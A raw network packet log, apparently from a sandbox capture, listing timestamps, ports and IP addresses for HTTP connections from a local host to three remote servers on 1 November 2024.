Nov 1, 2024 10:56:14.177931070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.177939892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.177947998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.177958965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.177990913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178046942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178087950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178100109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178111076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178136110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178154945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178155899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178237915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178281069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178293943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178375006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178388119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178397894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178423882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178446054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178451061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178456068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178467035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178478003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178492069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178515911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178535938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178546906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178558111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178570032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178580999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178603888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178657055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178668022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178678989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178689003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.178708076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.178723097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179518938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179537058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179548979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179575920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179601908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179613113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179622889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179635048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179641008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179646015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179667950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179677963 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179699898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179712057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179749012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179765940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179775953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179800034 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179857969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179868937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179878950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179889917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179917097 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179929018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179939985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.179939985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179971933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.179980993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180283070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180293083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180301905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180325985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180337906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180500031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180510998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180521965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180537939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180546045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180566072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180577993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180589914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180603027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180627108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180677891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180740118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180743933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180754900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180785894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.180948019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.180958033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181005001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181323051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181392908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181405067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181446075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181504965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181520939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181530952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181554079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181577921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181636095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181646109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181688070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181720018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181731939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181768894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181787968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181799889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.181834936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.181941986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.182012081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:14.182802916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:14.951536894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:04.910341978 CET	49801	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:04.915807009 CET	80	49801	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:04.915913105 CET	49801	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:04.916055918 CET	49801	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:04.920914888 CET	80	49801	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:05.803076982 CET	80	49801	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:05.803131104 CET	49801	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:07.308595896 CET	49801	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:07.308897972 CET	49817	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:07.313704967 CET	80	49817	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:07.313750982 CET	80	49801	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:07.313813925 CET	49801	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:07.313968897 CET	49817	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:07.313968897 CET	49817	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:07.318789005 CET	80	49817	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:08.241722107 CET	80	49817	185.215.113.43	192.168.2.4
Nov 1, 2024 10:57:08.241785049 CET	49817	80	192.168.2.4	185.215.113.43
Nov 1, 2024 10:57:08.318866968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:08.324668884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:08.324747086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:08.326585054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:08.331414938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189105988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189172029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189186096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189212084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189234972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189249992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189265013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189273119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.189273119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.189280987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189296961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189304113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.189311028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.189313889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.189337015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.189363956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.194178104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.194233894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.194247007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.194293022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.194390059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.194407940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.194566011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332483053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332511902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332528114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332529068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332545996 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332550049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332562923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332571030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332578897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332596064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332596064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332624912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332648039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332648039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332660913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332675934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332690954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332704067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332706928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332717896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332731009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.332731962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332752943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.332770109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.333342075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.333357096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.333372116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.333389044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.333410025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.333427906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.333444118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.333462000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.333472013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.333494902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.333508015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.334347010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.334371090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.334387064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.334393024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.334403038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.334403038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.334422112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.334429979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.334448099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.334449053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.334466934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.334490061 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469387054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469429016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469453096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469470978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469489098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469495058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469511986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469526052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469543934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469571114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469788074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469841003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469841957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469857931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.469880104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469897985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.469978094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470029116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470032930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470050097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470065117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470082045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470092058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470112085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470474958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470499992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470525980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470539093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470639944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470684052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470689058 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470700026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470730066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470742941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470762014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470776081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470792055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.470810890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.470833063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.471376896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471393108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471409082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471424103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.471452951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.471484900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471501112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471514940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471524954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.471530914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.471555948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.471586943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.472279072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472294092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472309113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472347975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.472377062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472393036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472404957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.472426891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.472428083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472445965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.472451925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.472469091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.472491980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473205090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473221064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473236084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473288059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473288059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473295927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473303080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473318100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473331928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473347902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.473347902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473366976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473381996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.473391056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474059105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474107027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474142075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474157095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474180937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474188089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474198103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474208117 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474215031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474231958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474241972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474807024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474832058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474839926 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474848986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.474858999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474864006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.474890947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609170914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609189034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609204054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609262943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609282017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609297991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609308958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609313011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609338999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609371901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609541893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609591961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609678030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609693050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609709024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609724045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609734058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609746933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609761953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609767914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609775066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609775066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609780073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609785080 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609807014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609817028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609838009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609843016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609857082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609857082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609867096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.609895945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.609922886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610074043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610097885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610116005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610121965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610131979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:09.610138893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610157013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:09.610176086 CET	49820	80	192.168.2.4	31.41.244.11
